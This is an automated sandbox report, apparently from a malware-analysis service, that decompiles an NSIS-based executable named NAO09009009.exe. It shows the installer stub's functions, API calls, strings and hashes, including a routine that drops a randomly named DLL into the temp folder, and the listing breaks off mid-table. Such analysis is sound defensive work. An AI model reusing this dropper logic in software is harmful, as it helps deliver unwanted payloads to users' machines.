Instruction Fuzzy Hash: 78F16970D04229CBDF28CFA8C8946ADBBB1FF44305F15816ED856BB281D7386A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 0040689A, Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040689A(WCHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileW(_a4, 0x426798); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x426798;
			}

0x004068a5
0x004068ae
0x00000000
0x004068bb
0x004068b1
0x00000000

APIs

FindFirstFileW.KERNELBASE(74B5FAA0,00426798,00425F50,00405F62,00425F50,00425F50,00000000,00425F50,00425F50,74B5FAA0,?,74B5F560,00405C6E,?,74B5FAA0,74B5F560), ref: 004068A5
FindClose.KERNEL32(00000000), ref: 004068B1

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 1093b80bdde5f117a2aeaff90f04fc035896fcf98737a4a628a8a679d5dfa397
Instruction ID: 17741e7b15207d6702ed9fc8e7bdeca0d2b34881c01bff23dce0e4374d0b2feb
Opcode Fuzzy Hash: 1093b80bdde5f117a2aeaff90f04fc035896fcf98737a4a628a8a679d5dfa397
Instruction Fuzzy Hash: 1FD0C7315051205BD24116346D4C84765985F55331311CA36B4A5F11A0C7348C3246AC

Uniqueness

Uniqueness Score: -1.00%

Function 00403C0B, Relevance: 49.2, APIs: 14, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00403C0B(void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				void _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t22;
				void* _t30;
				void* _t32;
				int _t33;
				void* _t36;
				int _t39;
				int _t40;
				int _t44;
				short _t63;
				WCHAR* _t65;
				signed char _t69;
				signed short _t73;
				WCHAR* _t76;
				intOrPtr _t82;
				WCHAR* _t87;

				_t82 =  *0x42a274;
				_t22 = E00406931(2);
				_t90 = _t22;
				if(_t22 == 0) {
					_t76 = 0x423748;
					L"1033" = 0x30;
					 *0x437002 = 0x78;
					 *0x437004 = 0;
					E0040640A(_t78, __eflags, 0x80000001, L"Control Panel\\Desktop\\ResourceLocale", 0, 0x423748, 0);
					__eflags =  *0x423748;
					if(__eflags == 0) {
						E0040640A(_t78, __eflags, 0x80000003, L".DEFAULT\\Control Panel\\International",  &M004083D4, 0x423748, 0);
					}
					lstrcatW(L"1033", _t76);
				} else {
					_t73 =  *_t22(); // executed
					E00406483(L"1033", _t73 & 0x0000ffff);
				}
				E00403EE1(_t78, _t90);
				_t86 = L"C:\\Users\\hardz\\AppData\\Local\\Temp";
				 *0x42a300 =  *0x42a27c & 0x00000020;
				 *0x42a31c = 0x10000;
				if(E00405F19(_t90, L"C:\\Users\\hardz\\AppData\\Local\\Temp") != 0) {
					L16:
					if(E00405F19(_t98, _t86) == 0) {
						E00406579(_t76, 0, _t82, _t86,  *((intOrPtr*)(_t82 + 0x118)));
					}
					_t30 = LoadImageW( *0x42a260, 0x67, 1, 0, 0, 0x8040); // executed
					 *0x429248 = _t30;
					if( *((intOrPtr*)(_t82 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t32 = E00403EE1(_t78, __eflags);
							__eflags =  *0x42a320;
							if( *0x42a320 != 0) {
								_t33 = E00405677(_t32, 0);
								__eflags = _t33;
								if(_t33 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x42922c;
								if( *0x42922c == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x423728, 5);
							_t39 = E004068C1("RichEd20");
							__eflags = _t39;
							if(_t39 == 0) {
								E004068C1("RichEd32");
							}
							_t87 = L"RichEdit20W";
							_t40 = GetClassInfoW(0, _t87, 0x429200);
							__eflags = _t40;
							if(_t40 == 0) {
								GetClassInfoW(0, L"RichEdit", 0x429200);
								 *0x429224 = _t87;
								RegisterClassW(0x429200);
							}
							_t44 = DialogBoxParamW( *0x42a260,  *0x429240 + 0x00000069 & 0x0000ffff, 0, E00403FB9, 0);
							E00403B5B(E0040140B(5), 1);
							return _t44;
						}
						L22:
						_t36 = 2;
						return _t36;
					} else {
						_t78 =  *0x42a260;
						 *0x429204 = E00401000;
						 *0x429210 =  *0x42a260;
						 *0x429214 = _t30;
						 *0x429224 = 0x40a3b4;
						if(RegisterClassW(0x429200) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						SystemParametersInfoW(0x30, 0,  &_v16, 0);
						 *0x423728 = CreateWindowExW(0x80, 0x40a3b4, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x42a260, 0);
						goto L21;
					}
				} else {
					_t78 =  *(_t82 + 0x48);
					_t92 = _t78;
					if(_t78 == 0) {
						goto L16;
					}
					_t76 = 0x428200;
					E0040640A(_t78, _t92,  *((intOrPtr*)(_t82 + 0x44)),  *0x42a2b8 + _t78 * 2,  *0x42a2b8 +  *(_t82 + 0x4c) * 2, 0x428200, 0);
					_t63 =  *0x428200; // 0x4b
					if(_t63 == 0) {
						goto L16;
					}
					if(_t63 == 0x22) {
						_t76 = 0x428202;
						 *((short*)(E00405E3E(0x428202, 0x22))) = 0;
					}
					_t65 = _t76 + lstrlenW(_t76) * 2 - 8;
					if(_t65 <= _t76 || lstrcmpiW(_t65, L".exe") != 0) {
						L15:
						E0040653C(_t86, E00405E11(_t76));
						goto L16;
					} else {
						_t69 = GetFileAttributesW(_t76);
						if(_t69 == 0xffffffff) {
							L14:
							E00405E5D(_t76);
							goto L15;
						}
						_t98 = _t69 & 0x00000010;
						if((_t69 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x00403c11
0x00403c1a
0x00403c21
0x00403c23
0x00403c37
0x00403c49
0x00403c52
0x00403c5b
0x00403c62
0x00403c67
0x00403c6e
0x00403c81
0x00403c81
0x00403c8c
0x00403c25
0x00403c25
0x00403c30
0x00403c30
0x00403c91
0x00403c9b
0x00403ca4
0x00403ca9
0x00403cba
0x00403d4c
0x00403d54
0x00403d5d
0x00403d5d
0x00403d73
0x00403d79
0x00403d87
0x00403e08
0x00403e10
0x00403e1a
0x00403e1f
0x00403e25
0x00403eaf
0x00403eb4
0x00403eb6
0x00403ed2
0x00000000
0x00403ed2
0x00403eb8
0x00403ebe
0x00403ec6
0x00403ec6
0x00000000
0x00403ebe
0x00403e33
0x00403e3e
0x00403e43
0x00403e45
0x00403e4c
0x00403e4c
0x00403e57
0x00403e5f
0x00403e61
0x00403e63
0x00403e6c
0x00403e6f
0x00403e75
0x00403e75
0x00403e94
0x00403ea5
0x00000000
0x00403eaa
0x00403e12
0x00403e14
0x00000000
0x00403d89
0x00403d89
0x00403d95
0x00403d9f
0x00403da5
0x00403daa
0x00403db9
0x00403ed7
0x00403ed7
0x00000000
0x00403ed7
0x00403dc8
0x00403e03
0x00000000
0x00403e03
0x00403cc0
0x00403cc0
0x00403cc3
0x00403cc5
0x00000000
0x00000000
0x00403cd3
0x00403ce5
0x00403cea
0x00403cf3
0x00000000
0x00000000
0x00403cf9
0x00403cfb
0x00403d08
0x00403d08
0x00403d11
0x00403d17
0x00403d3f
0x00403d47
0x00000000
0x00403d29
0x00403d2a
0x00403d33
0x00403d39
0x00403d3a
0x00000000
0x00403d3a
0x00403d35
0x00403d37
0x00000000
0x00000000
0x00000000
0x00403d37
0x00403d17

APIs

Part of subcall function 00406931: GetModuleHandleA.KERNEL32(?,00000020,?,0040364A,0000000B), ref: 00406943
Part of subcall function 00406931: GetProcAddress.KERNEL32(00000000,?), ref: 0040695E

GetUserDefaultUILanguage.KERNELBASE(00000002,74B5FAA0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\NAO09009009.exe" ,00000000), ref: 00403C25

Part of subcall function 00406483: wsprintfW.USER32 ref: 00406490

lstrcatW.KERNEL32(1033,00423748), ref: 00403C8C
lstrlenW.KERNEL32(KXCJDFJSKF,?,?,?,KXCJDFJSKF,00000000,C:\Users\user\AppData\Local\Temp,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000,00000002,74B5FAA0), ref: 00403D0C
lstrcmpiW.KERNEL32(?,.exe,KXCJDFJSKF,?,?,?,KXCJDFJSKF,00000000,C:\Users\user\AppData\Local\Temp,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000), ref: 00403D1F
GetFileAttributesW.KERNEL32(KXCJDFJSKF), ref: 00403D2A
LoadImageW.USER32 ref: 00403D73
RegisterClassW.USER32 ref: 00403DB0
SystemParametersInfoW.USER32 ref: 00403DC8
CreateWindowExW.USER32 ref: 00403DFD
ShowWindow.USER32(00000005,00000000), ref: 00403E33
GetClassInfoW.USER32 ref: 00403E5F
GetClassInfoW.USER32 ref: 00403E6C
RegisterClassW.USER32 ref: 00403E75
DialogBoxParamW.USER32 ref: 00403E94

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403C10
.exe, xrefs: 00403D19
Control Panel\Desktop\ResourceLocale, xrefs: 00403C3F
KXCJDFJSKF, xrefs: 00403CD3, 00403CDC, 00403CEA, 00403D39, 00403D3F
_Nb, xrefs: 00403D8F, 00403DF7
.DEFAULT\Control Panel\International, xrefs: 00403C77
"C:\Users\user\Desktop\NAO09009009.exe" , xrefs: 00403C0F
H7B, xrefs: 00403C37
RichEdit, xrefs: 00403E66
RichEd32, xrefs: 00403E47
RichEdit20W, xrefs: 00403E57, 00403E5D
C:\Users\user\AppData\Local\Temp, xrefs: 00403C9B, 00403CA3, 00403D46, 00403D4C, 00403D5C
1033, xrefs: 00403C2B, 00403C87
RichEd20, xrefs: 00403E39

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\NAO09009009.exe" $.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$H7B$KXCJDFJSKF$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 606308-3674596771
Opcode ID: e72121f9318e9a8d3ba69cbfb00b5424d628858843ee7b3eb32a151408395cbd
Instruction ID: e394074358681fdac01dfd3b015b47ae0866f78f7b6160babfbfeef1d79938ee
Opcode Fuzzy Hash: e72121f9318e9a8d3ba69cbfb00b5424d628858843ee7b3eb32a151408395cbd
Instruction Fuzzy Hash: EA61D570240200BAD720AF66AD45F2B3A7CEB84B09F40457FF941B22E2CB7D9D12867D

Uniqueness

Uniqueness Score: -1.00%

Function 00403068, Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 204
memoryCOMMON

Download Yara Rule

C-Code - Quality: 99%

			E00403068(void* __eflags, signed int _a4) {
				DWORD* _v8;
				DWORD* _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _v40;
				short _v560;
				signed int _t54;
				void* _t57;
				void* _t62;
				intOrPtr _t65;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr _t71;
				signed int _t77;
				signed int _t82;
				signed int _t83;
				signed int _t89;
				intOrPtr _t92;
				long _t94;
				signed int _t102;
				signed int _t104;
				void* _t106;
				signed int _t107;
				signed int _t110;
				void* _t111;

				_t94 = 0;
				_v8 = 0;
				_v12 = 0;
				 *0x42a270 = GetTickCount() + 0x3e8;
				GetModuleFileNameW(0, L"C:\\Users\\hardz\\Desktop\\NAO09009009.exe", 0x400);
				_t106 = E00406032(L"C:\\Users\\hardz\\Desktop\\NAO09009009.exe", 0x80000000, 3);
				 *0x40a018 = _t106;
				if(_t106 == 0xffffffff) {
					return L"Error launching installer";
				}
				E0040653C(0x436800, L"C:\\Users\\hardz\\Desktop\\NAO09009009.exe");
				E0040653C(0x439000, E00405E5D(0x436800));
				_t54 = GetFileSize(_t106, 0);
				__eflags = _t54;
				 *0x420f00 = _t54;
				_t110 = _t54;
				if(_t54 <= 0) {
					L24:
					E00402FC6(1);
					__eflags =  *0x42a278 - _t94;
					if( *0x42a278 == _t94) {
						goto L32;
					}
					__eflags = _v12 - _t94;
					if(_v12 == _t94) {
						L28:
						_t57 = GlobalAlloc(0x40, _v20); // executed
						_t111 = _t57;
						E00406A8C(0x40ce68);
						E00406061(0x40ce68,  &_v560, L"C:\\Users\\hardz\\AppData\\Local\\Temp\\"); // executed
						_t62 = CreateFileW( &_v560, 0xc0000000, _t94, _t94, 2, 0x4000100, _t94); // executed
						__eflags = _t62 - 0xffffffff;
						 *0x40a01c = _t62;
						if(_t62 != 0xffffffff) {
							_t65 = E00403590( *0x42a278 + 0x1c);
							 *0x420f04 = _t65;
							 *0x420ef8 = _t65 - ( !_v40 & 0x00000004) + _v16 - 0x1c; // executed
							_t68 = E00403309(_v16, 0xffffffff, _t94, _t111, _v20); // executed
							__eflags = _t68 - _v20;
							if(_t68 == _v20) {
								__eflags = _v40 & 0x00000001;
								 *0x42a274 = _t111;
								 *0x42a27c =  *_t111;
								if((_v40 & 0x00000001) != 0) {
									 *0x42a280 =  *0x42a280 + 1;
									__eflags =  *0x42a280;
								}
								_t45 = _t111 + 0x44; // 0x44
								_t70 = _t45;
								_t102 = 8;
								do {
									_t70 = _t70 - 8;
									 *_t70 =  *_t70 + _t111;
									_t102 = _t102 - 1;
									__eflags = _t102;
								} while (_t102 != 0);
								_t71 =  *0x420ef4; // 0x38cfb
								 *((intOrPtr*)(_t111 + 0x3c)) = _t71;
								E00405FED(0x42a2a0, _t111 + 4, 0x40);
								__eflags = 0;
								return 0;
							}
							goto L32;
						}
						return L"Error writing temporary file. Make sure your temp folder is valid.";
					}
					E00403590( *0x420ef0);
					_t77 = E0040357A( &_a4, 4);
					__eflags = _t77;
					if(_t77 == 0) {
						goto L32;
					}
					__eflags = _v8 - _a4;
					if(_v8 != _a4) {
						goto L32;
					}
					goto L28;
				} else {
					do {
						_t107 = _t110;
						asm("sbb eax, eax");
						_t82 = ( ~( *0x42a278) & 0x00007e00) + 0x200;
						__eflags = _t110 - _t82;
						if(_t110 >= _t82) {
							_t107 = _t82;
						}
						_t83 = E0040357A(0x418ef0, _t107);
						__eflags = _t83;
						if(_t83 == 0) {
							E00402FC6(1);
							L32:
							return L"Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						__eflags =  *0x42a278;
						if( *0x42a278 != 0) {
							__eflags = _a4 & 0x00000002;
							if((_a4 & 0x00000002) == 0) {
								E00402FC6(0);
							}
							goto L20;
						}
						E00405FED( &_v40, 0x418ef0, 0x1c);
						_t89 = _v40;
						__eflags = _t89 & 0xfffffff0;
						if((_t89 & 0xfffffff0) != 0) {
							goto L20;
						}
						__eflags = _v36 - 0xdeadbeef;
						if(_v36 != 0xdeadbeef) {
							goto L20;
						}
						__eflags = _v24 - 0x74736e49;
						if(_v24 != 0x74736e49) {
							goto L20;
						}
						__eflags = _v28 - 0x74666f73;
						if(_v28 != 0x74666f73) {
							goto L20;
						}
						__eflags = _v32 - 0x6c6c754e;
						if(_v32 != 0x6c6c754e) {
							goto L20;
						}
						_a4 = _a4 | _t89;
						_t104 =  *0x420ef0; // 0x2f5c1
						 *0x42a320 =  *0x42a320 | _a4 & 0x00000002;
						_t92 = _v16;
						__eflags = _t92 - _t110;
						 *0x42a278 = _t104;
						if(_t92 > _t110) {
							goto L32;
						}
						__eflags = _a4 & 0x00000008;
						if((_a4 & 0x00000008) != 0) {
							L16:
							_v12 = _v12 + 1;
							_t110 = _t92 - 4;
							__eflags = _t107 - _t110;
							if(_t107 > _t110) {
								_t107 = _t110;
							}
							goto L20;
						}
						__eflags = _a4 & 0x00000004;
						if((_a4 & 0x00000004) != 0) {
							break;
						}
						goto L16;
						L20:
						__eflags = _t110 -  *0x420f00; // 0x31e86
						if(__eflags < 0) {
							_v8 = E00406A1E(_v8, 0x418ef0, _t107);
						}
						 *0x420ef0 =  *0x420ef0 + _t107;
						_t110 = _t110 - _t107;
						__eflags = _t110;
					} while (_t110 != 0);
					_t94 = 0;
					__eflags = 0;
					goto L24;
				}
			}

0x00403073
0x00403076
0x00403079
0x00403093
0x00403098
0x004030ab
0x004030b0
0x004030b6
0x00000000
0x004030b8
0x004030c9
0x004030da
0x004030e1
0x004030e7
0x004030e9
0x004030ee
0x004030f0
0x004031db
0x004031dd
0x004031e2
0x004031e9
0x00000000
0x00000000
0x004031ef
0x004031f2
0x0040321e
0x00403223
0x0040322e
0x00403230
0x00403241
0x0040325c
0x00403262
0x00403265
0x0040326a
0x00403289
0x00403299
0x004032ab
0x004032b0
0x004032b5
0x004032b8
0x004032c1
0x004032c5
0x004032cd
0x004032d2
0x004032d4
0x004032d4
0x004032d4
0x004032dc
0x004032dc
0x004032df
0x004032e0
0x004032e0
0x004032e3
0x004032e5
0x004032e5
0x004032e5
0x004032e8
0x004032ef
0x004032fb
0x00403300
0x00000000
0x00403300
0x00000000
0x004032b8
0x00000000
0x0040326c
0x004031fa
0x00403205
0x0040320a
0x0040320c
0x00000000
0x00000000
0x00403215
0x00403218
0x00000000
0x00000000
0x00000000
0x004030f6
0x004030fb
0x00403100
0x00403104
0x0040310b
0x00403110
0x00403112
0x00403114
0x00403114
0x00403118
0x0040311d
0x0040311f
0x00403278
0x004032ba
0x00000000
0x004032ba
0x00403125
0x0040312c
0x004031a8
0x004031ac
0x004031b0
0x004031b5
0x00000000
0x004031ac
0x00403135
0x0040313a
0x0040313d
0x00403142
0x00000000
0x00000000
0x00403144
0x0040314b
0x00000000
0x00000000
0x0040314d
0x00403154
0x00000000
0x00000000
0x00403156
0x0040315d
0x00000000
0x00000000
0x0040315f
0x00403166
0x00000000
0x00000000
0x00403168
0x0040316e
0x00403177
0x0040317d
0x00403180
0x00403182
0x00403188
0x00000000
0x00000000
0x0040318e
0x00403192
0x0040319a
0x0040319a
0x0040319d
0x004031a0
0x004031a2
0x004031a4
0x004031a4
0x00000000
0x004031a2
0x00403194
0x00403198
0x00000000
0x00000000
0x00000000
0x004031b6
0x004031b6
0x004031bc
0x004031c8
0x004031c8
0x004031cb
0x004031d1
0x004031d1
0x004031d1
0x004031d9
0x004031d9
0x00000000
0x004031d9

APIs

GetTickCount.KERNEL32 ref: 0040307C
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\NAO09009009.exe,00000400), ref: 00403098

Part of subcall function 00406032: GetFileAttributesW.KERNELBASE(00000003,004030AB,C:\Users\user\Desktop\NAO09009009.exe,80000000,00000003), ref: 00406036
Part of subcall function 00406032: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00406058

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,00436800,00436800,C:\Users\user\Desktop\NAO09009009.exe,C:\Users\user\Desktop\NAO09009009.exe,80000000,00000003), ref: 004030E1
GlobalAlloc.KERNELBASE(00000040,0040A230), ref: 00403223

Strings

soft, xrefs: 00403156
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004032BA
Null, xrefs: 0040315F
Inst, xrefs: 0040314D
Error launching installer, xrefs: 004030B8
C:\Users\user\AppData\Local\Temp\, xrefs: 00403072, 0040323B
"C:\Users\user\Desktop\NAO09009009.exe" , xrefs: 00403068
C:\Users\user\Desktop\NAO09009009.exe, xrefs: 00403082, 00403091, 004030A5, 004030C2
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040326C

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\NAO09009009.exe" $C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\NAO09009009.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-684489359
Opcode ID: 8e4e929ec00d298773cd7711401fbd042d30ada64bab94f08e83dcc7a4259e6b
Instruction ID: 3c019e557a6e0d840000321a6ffc1a5a74fe8930866e2d2a4a5af375f72a0401
Opcode Fuzzy Hash: 8e4e929ec00d298773cd7711401fbd042d30ada64bab94f08e83dcc7a4259e6b
Instruction Fuzzy Hash: 9B71E431A00204ABDB20DF64DD85B5E3EBCAB18315F2045BBF901B72D2D7789E458B6D

Uniqueness

Uniqueness Score: -1.00%

Function 00B413DC, Relevance: 14.5, APIs: 6, Strings: 1, Instructions: 2247memoryfileCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,1C200000,00003000,00000004,?,050A26AF,00000000), ref: 00B42FB7
CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00B43030

Strings

0cd02775c09d4aac96bae7c2976d2ec5, xrefs: 00B4309D, 00B430A0

Memory Dump Source

Source File: 00000000.00000002.219491408.0000000000B40000.00000040.00000001.sdmp, Offset: 00B40000, based on PE: false

Similarity

API ID: AllocCreateFileVirtual
String ID: 0cd02775c09d4aac96bae7c2976d2ec5
API String ID: 1475775534-3351090885
Opcode ID: fa69bcc684f56ba300636ba114b01fbbbf80e36c492f2d7d077a81d06c6f35e4
Instruction ID: ec1d4b35e10f2dec0e250f49e95310487cf5b93094aaf9f9c3e412fd482204f8
Opcode Fuzzy Hash: fa69bcc684f56ba300636ba114b01fbbbf80e36c492f2d7d077a81d06c6f35e4
Instruction Fuzzy Hash: 9B03C815A94798A8EBB0C7A4BC16BB963B56F44B10F1054C7E60CEE1E1D3B51FD09F0A

Uniqueness

Uniqueness Score: -1.00%

Function 0040176F, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 145
stringtimeCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E0040176F(FILETIME* __ebx, void* __eflags) {
				void* __esi;
				void* _t35;
				void* _t43;
				void* _t45;
				FILETIME* _t51;
				FILETIME* _t64;
				void* _t66;
				signed int _t72;
				FILETIME* _t73;
				FILETIME* _t77;
				signed int _t79;
				WCHAR* _t81;
				void* _t83;
				void* _t84;
				void* _t86;

				_t77 = __ebx;
				 *(_t86 - 8) = E00402D3E(0x31);
				 *(_t86 + 8) =  *(_t86 - 0x30) & 0x00000007;
				_t35 = E00405E88( *(_t86 - 8));
				_push( *(_t86 - 8));
				_t81 = L"KXCJ";
				if(_t35 == 0) {
					lstrcatW(E00405E11(E0040653C(_t81, 0x436000)), ??);
				} else {
					E0040653C();
				}
				E004067EB(_t81);
				while(1) {
					__eflags =  *(_t86 + 8) - 3;
					if( *(_t86 + 8) >= 3) {
						_t66 = E0040689A(_t81);
						_t79 = 0;
						__eflags = _t66 - _t77;
						if(_t66 != _t77) {
							_t73 = _t66 + 0x14;
							__eflags = _t73;
							_t79 = CompareFileTime(_t73, _t86 - 0x24);
						}
						asm("sbb eax, eax");
						_t72 =  ~(( *(_t86 + 8) + 0xfffffffd | 0x80000000) & _t79) + 1;
						__eflags = _t72;
						 *(_t86 + 8) = _t72;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) == _t77) {
						E0040600D(_t81);
					}
					__eflags =  *(_t86 + 8) - 1;
					_t43 = E00406032(_t81, 0x40000000, (0 |  *(_t86 + 8) != 0x00000001) + 1);
					__eflags = _t43 - 0xffffffff;
					 *(_t86 - 0x38) = _t43;
					if(_t43 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) != _t77) {
						E004055A4(0xffffffe2,  *(_t86 - 8));
						__eflags =  *(_t86 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t86 - 4)) = 1;
						}
						L31:
						 *0x42a308 =  *0x42a308 +  *((intOrPtr*)(_t86 - 4));
						__eflags =  *0x42a308;
						goto L32;
					} else {
						E0040653C(0x40b5f8, _t83);
						E0040653C(_t83, _t81);
						E00406579(_t77, _t81, _t83, "C:\Users\hardz\AppData\Local\Temp\nsoCA66.tmp\5qzt14dbsxlb2e.dll",  *((intOrPtr*)(_t86 - 0x1c)));
						E0040653C(_t83, 0x40b5f8);
						_t64 = E00405BA2("C:\Users\hardz\AppData\Local\Temp\nsoCA66.tmp\5qzt14dbsxlb2e.dll",  *(_t86 - 0x30) >> 3) - 4;
						__eflags = _t64;
						if(_t64 == 0) {
							continue;
						} else {
							__eflags = _t64 == 1;
							if(_t64 == 1) {
								 *0x42a308 =  &( *0x42a308->dwLowDateTime);
								L32:
								_t51 = 0;
								__eflags = 0;
							} else {
								_push(_t81);
								_push(0xfffffffa);
								E004055A4();
								L29:
								_t51 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t51;
				}
				E004055A4(0xffffffea,  *(_t86 - 8));
				 *0x42a334 =  *0x42a334 + 1;
				_t45 = E00403309(_t79,  *((intOrPtr*)(_t86 - 0x28)),  *(_t86 - 0x38), _t77, _t77); // executed
				 *0x42a334 =  *0x42a334 - 1;
				__eflags =  *(_t86 - 0x24) - 0xffffffff;
				_t84 = _t45;
				if( *(_t86 - 0x24) != 0xffffffff) {
					L22:
					SetFileTime( *(_t86 - 0x38), _t86 - 0x24, _t77, _t86 - 0x24); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t86 - 0x20)) - 0xffffffff;
					if( *((intOrPtr*)(_t86 - 0x20)) != 0xffffffff) {
						goto L22;
					}
				}
				FindCloseChangeNotification( *(_t86 - 0x38)); // executed
				__eflags = _t84 - _t77;
				if(_t84 >= _t77) {
					goto L31;
				} else {
					__eflags = _t84 - 0xfffffffe;
					if(_t84 != 0xfffffffe) {
						E00406579(_t77, _t81, _t84, _t81, 0xffffffee);
					} else {
						E00406579(_t77, _t81, _t84, _t81, 0xffffffe9);
						lstrcatW(_t81,  *(_t86 - 8));
					}
					_push(0x200010);
					_push(_t81);
					E00405BA2();
					goto L29;
				}
				goto L33;
			}

0x0040176f
0x00401776
0x00401782
0x00401785
0x0040178a
0x0040178d
0x00401794
0x004017b0
0x00401796
0x00401797
0x00401797
0x004017b6
0x004017bb
0x004017bb
0x004017bf
0x004017c2
0x004017c7
0x004017c9
0x004017cb
0x004017d0
0x004017d0
0x004017db
0x004017db
0x004017ec
0x004017ee
0x004017ee
0x004017ef
0x004017ef
0x004017f2
0x004017f5
0x004017f8
0x004017f8
0x004017ff
0x0040180e
0x00401813
0x00401816
0x00401819
0x00000000
0x00000000
0x0040181b
0x0040181e
0x00401874
0x00401879
0x004015b6
0x00402925
0x00402925
0x00402bc2
0x00402bc5
0x00402bc5
0x00000000
0x00401820
0x00401826
0x0040182d
0x0040183a
0x00401845
0x0040185b
0x0040185b
0x0040185e
0x00000000
0x00401864
0x00401864
0x00401865
0x00401882
0x00402bcb
0x00402bcb
0x00402bcb
0x00401867
0x00401867
0x00401868
0x00401493
0x00402395
0x00402395
0x00402395
0x00401865
0x0040185e
0x00402bcd
0x00402bd1
0x00402bd1
0x00401892
0x00401897
0x004018a5
0x004018aa
0x004018b0
0x004018b4
0x004018b6
0x004018be
0x004018ca
